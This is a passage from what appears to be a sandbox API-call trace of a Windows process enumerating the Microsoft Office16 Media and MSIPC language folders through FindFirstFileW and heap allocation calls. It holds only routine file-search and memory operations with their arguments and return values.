ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-80.png", cAlternateFileName="MSPUBL~1.PNG")) returned 1 [0283.502] GetProcessHeap () returned 0xaf0000 [0283.502] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.502] GetProcessHeap () returned 0xaf0000 [0283.502] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b22ac67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b22ac67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0283.505] GetProcessHeap () returned 0xaf0000 [0283.505] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.506] GetProcessHeap () returned 0xaf0000 [0283.506] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b3a83c3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b3a83c3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0283.507] GetProcessHeap () returned 0xaf0000 [0283.507] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.508] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ar\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0283.513] GetProcessHeap () returned 0xaf0000 [0283.513] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.513] GetProcessHeap () returned 0xaf0000 [0283.513] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\bg\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.514] GetProcessHeap () returned 0xaf0000 [0283.514] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.514] GetProcessHeap () returned 0xaf0000 [0283.514] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.514] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ca\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.514] GetProcessHeap () returned 0xaf0000 [0283.514] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.514] GetProcessHeap () returned 0xaf0000 [0283.514] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.514] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\cs\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.515] GetProcessHeap () returned 0xaf0000 [0283.515] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.515] GetProcessHeap () returned 0xaf0000 [0283.515] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\da\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.516] GetProcessHeap () returned 0xaf0000 [0283.516] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.516] GetProcessHeap () returned 0xaf0000 [0283.516] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.516] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\de\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.516] GetProcessHeap () returned 0xaf0000 [0283.516] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.516] GetProcessHeap () returned 0xaf0000 [0283.517] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\el\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0283.517] GetProcessHeap () returned 0xaf0000 [0283.517] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.517] GetProcessHeap () returned 0xaf0000 [0283.517] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\en-us\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.518] GetProcessHeap () returned 0xaf0000 [0283.518] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.518] GetProcessHeap () returned 0xaf0000 [0283.518] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.518] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\es\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0283.518] GetProcessHeap () returned 0xaf0000 [0283.518] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.519] GetProcessHeap () returned 0xaf0000 [0283.519] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.519] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\et\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0283.519] GetProcessHeap () returned 0xaf0000 [0283.519] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.519] GetProcessHeap () returned 0xaf0000 [0283.520] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\eu\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.520] GetProcessHeap () returned 0xaf0000 [0283.520] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.520] GetProcessHeap () returned 0xaf0000 [0283.520] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fi\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.521] GetProcessHeap () returned 0xaf0000 [0283.521] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.521] GetProcessHeap () returned 0xaf0000 [0283.521] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fr\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.522] GetProcessHeap () returned 0xaf0000 [0283.522] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.522] GetProcessHeap () returned 0xaf0000 [0283.522] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\gl\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.522] GetProcessHeap () returned 0xaf0000 [0283.522] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.522] GetProcessHeap () returned 0xaf0000 [0283.523] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.618] GetProcessHeap () returned 0xaf0000 [0283.618] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.618] GetProcessHeap () returned 0xaf0000 [0283.618] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hi\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0283.619] GetProcessHeap () returned 0xaf0000 [0283.619] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.619] GetProcessHeap () returned 0xaf0000 [0283.619] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hr\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.620] GetProcessHeap () returned 0xaf0000 [0283.620] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.620] GetProcessHeap () returned 0xaf0000 [0283.620] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hu\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.620] GetProcessHeap () returned 0xaf0000 [0283.620] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.620] GetProcessHeap () returned 0xaf0000 [0283.620] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\id\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.621] GetProcessHeap () returned 0xaf0000 [0283.621] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.621] GetProcessHeap () returned 0xaf0000 [0283.621] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\it\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b433, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x59b433, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59b433, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.621] GetProcessHeap () returned 0xaf0000 [0283.621] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.621] GetProcessHeap () returned 0xaf0000 [0283.621] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ja\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.622] GetProcessHeap () returned 0xaf0000 [0283.622] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.622] GetProcessHeap () returned 0xaf0000 [0283.622] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\kk\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.622] GetProcessHeap () returned 0xaf0000 [0283.622] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.622] GetProcessHeap () returned 0xaf0000 [0283.622] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ko\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0283.623] GetProcessHeap () returned 0xaf0000 [0283.623] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.623] GetProcessHeap () returned 0xaf0000 [0283.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lt\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0283.623] GetProcessHeap () returned 0xaf0000 [0283.623] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.623] GetProcessHeap () returned 0xaf0000 [0283.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lv\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.624] GetProcessHeap () returned 0xaf0000 [0283.624] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.624] GetProcessHeap () returned 0xaf0000 [0283.624] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ms\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.624] GetProcessHeap () returned 0xaf0000 [0283.624] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.625] GetProcessHeap () returned 0xaf0000 [0283.625] 